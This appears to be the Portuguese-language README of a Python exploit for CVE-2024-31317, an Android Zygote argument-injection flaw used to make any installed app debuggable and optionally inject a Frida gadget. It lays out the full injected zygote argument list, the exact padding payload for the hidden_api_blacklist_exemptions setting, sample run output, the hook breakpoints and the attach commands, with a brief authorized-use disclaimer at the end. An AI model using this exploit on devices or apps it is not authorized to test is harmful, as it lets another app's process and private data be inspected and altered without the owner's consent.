
CVE-2024-31317 Exploit de Aplicação Depurável
Um exploit baseado em Python para o CVE-2024-31317 (Injeção no Zygote do Android) que torna qualquer aplicativo Android instalado depurável, injetando argumentos maliciosos no zygote através da configuração hidden_api_blacklist_exemptions. Inclui injeção opcional do gadget do Frida para hooking em tempo de execução.
Este exploit aproveita uma vulnerabilidade de injeção de comandos no processo Zygote do Android para iniciar aplicativos alvo com a flag debuggable ativada. Isso permite depuração JDWP e inspeção de qualquer aplicativo sem precisar de acesso root ou da versão debug do aplicativo.
Baseado na pesquisa de: Análise do CVE-2024-31317 por Flanker
Insight chave: "o campo runtime-flags no ZygoteArguments pode realmente ser usado para ativar o atributo debuggable de um aplicativo."
runtime-flags=65535 para ativar a depuraçãoppadb, jdwplibColoque os seguintes arquivos no mesmo diretório:
├── CVE-2024-31317-Debuggable.py # Script principal do exploit
├── jdwplib.py # Biblioteca cliente JDWP
├── app-debug.apk # Aplicativo auxiliar depurável
├── frida-gadget-android-*.so # Gadget do Frida (opcional)
├── frida-gadget.config.so # Config do Frida (opcional)
└── win32/adb.exe # Binário ADB para Windows
python CVE-2024-31317-Debuggable.py
O script solicitará que você selecione um modo de detecção de parâmetros:
==================================================
Exploit CVE-2024-31317
==================================================
[1] Detectar parâmetros automaticamente
[2] Valores fixos
Modo (1/2) [1]:
Fase 1: Extrair startSeq
startSeq dos frames da pilhaFase 2: Injetar Argumentos do Zygote
runtime-flags=65535 (depurável)hidden_api_blacklist_exemptionsFase 3: Pós-Exploração
==================================================
Exploit CVE-2024-31317
==================================================
[1] Detectar parâmetros automaticamente
[2] Valores fixos
Modo (1/2) [1]: 1
[INFO] Fase 1: Extrair startSeq
[INFO] com.debug.app já instalado
[INFO] Definindo depurável
[INFO] Iniciando com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] Porta JDWP: 8700
[INFO] Suspender VM
[INFO] Escaneando 42 frames
[INFO] startSeq: 123456
[INFO] Fase 2: Explorar com.debug.configurator
[INFO] Detectando parâmetros para com.debug.configurator
[INFO] UID: 10242
[INFO] Arq: arm64
[INFO] Dados: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload: 8765 bytes
[INFO] Reiniciando alvo
[INFO] Pronto
[INFO] PID alvo: 23456
[INFO] JDWP: 8701
Injetar Frida? (s/N):
Edite as constantes no início do script:
TARGET_APP = "com.debug.configurator" # Altere para o seu pacote alvo
DEBUG_APP = "com.debug.app" # Aplicativo auxiliar depurável
DEBUG_APK = "app-debug.apk" # Arquivo APK do aplicativo auxiliar
Modo de detecção automática (recomendado):
pm list packages -U para obter o UIDdumpsys package para obter o conjunto de instruções e diretório de dadosModo de valores fixos:
Após o exploit ter sucesso, você pode opcionalmente injetar o gadget do Frida:
Injetar Frida? (s/N): s
O script irá:
frida-gadget.so para /data/local/tmp/run-asO script tenta estes breakpoints em ordem de confiabilidade:
Os breakpoints superiores devem disparar automaticamente. Se eles expirarem, toque no aplicativo para acionar os breakpoints de fallback.
Após a injeção bem-sucedida:
# Conectar ao gadget
frida -H 127.0.0.1:27042 -n Gadget
# Listar processos
frida-ps -H 127.0.0.1:27042
Assim que o exploit for bem-sucedido, o aplicativo alvo estará executando com depuração ativada:
Conectar com depurador JDWP:
jdb -attach localhost:8701
Usar depurador do Android Studio - Anexar ao processo na porta encaminhada
Usar Frida - Se o gadget foi injetado pelo script
CVE-2024-31317 é uma vulnerabilidade de injeção de comandos no processo Zygote do Android. Ao manipular a configuração do sistema hidden_api_blacklist_exemptions com entrada especialmente criada, podemos injetar argumentos arbitrários do zygote quando um aplicativo é iniciado.
Extração do startSeq: Cada inicialização de aplicativo tem um número de sequência único. Nós extraímos isso de um aplicativo depurável via JDWP, inspecionando variáveis de frame da pilha.
Construção do Payload: Construímos argumentos do zygote incluindo:
--runtime-args
--setuid=<target_uid>
--setgid=<target_gid>
--runtime-flags=65535 # Ativa todas as flags de depuração
--mount-external-default
--target-sdk-version=35
--setgroups=3003
--nice-name=<package>
--seinfo=default:targetSdkVersion=30:complete
--instruction-set=<arch>
--app-data-dir=<data_dir>
--package-name=<package>
--is-top-app
--bind-mount-data-dirs
android.app.ActivityThread
seq=<startSeq+1>
Injeção: O payload é injetado na configuração do sistema com preenchimento específico para Android 12+:
payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
Disparo: Forçar a parada e reiniciar o aplicativo alvo, que é iniciado com nossos argumentos injetados e a flag debuggable ativada.
A injeção do Frida funciona:
Runtime.load() para carregar a biblioteca compartilhada do gadget do Frida"Falha ao obter startSeq"
"Nenhum breakpoint atingido" durante a injeção do Frida
Conexão do Frida recusada
adb forward --listadb forward tcp:27042 tcp:27042Esta ferramenta é destinada apenas para fins educacionais e de pesquisa de segurança autorizada. Use-a apenas em dispositivos que você possui ou para os quais tenha permissão explícita por escrito para testar. O acesso não autorizado a sistemas de computador é ilegal e antiético. Os autores não são responsáveis por qualquer uso indevido desta ferramenta.
Licença MIT - Consulte o arquivo LICENSE para obter detalhes.
| Classe | Método | Disparo |
|---|
android.os.MessageQueue | next | Automático - o loop principal consulta constantemente |
android.os.Binder | execTransact | Automático - qualquer chamada IPC/binder |
android.app.ActivityThread | handleMessage | Automático - manipulador principal do aplicativo |
android.os.Handler | dispatchMessage | Automático - despacho de mensagens |
android.os.Handler | handleMessage | Automático - tratamento de mensagens |
android.view.Choreographer | doFrame | Automático - callbacks de frame |
android.view.View | dispatchTouchEvent | Manual - requer toque |
android.view.View | onDraw | Manual - requer redesenho da UI |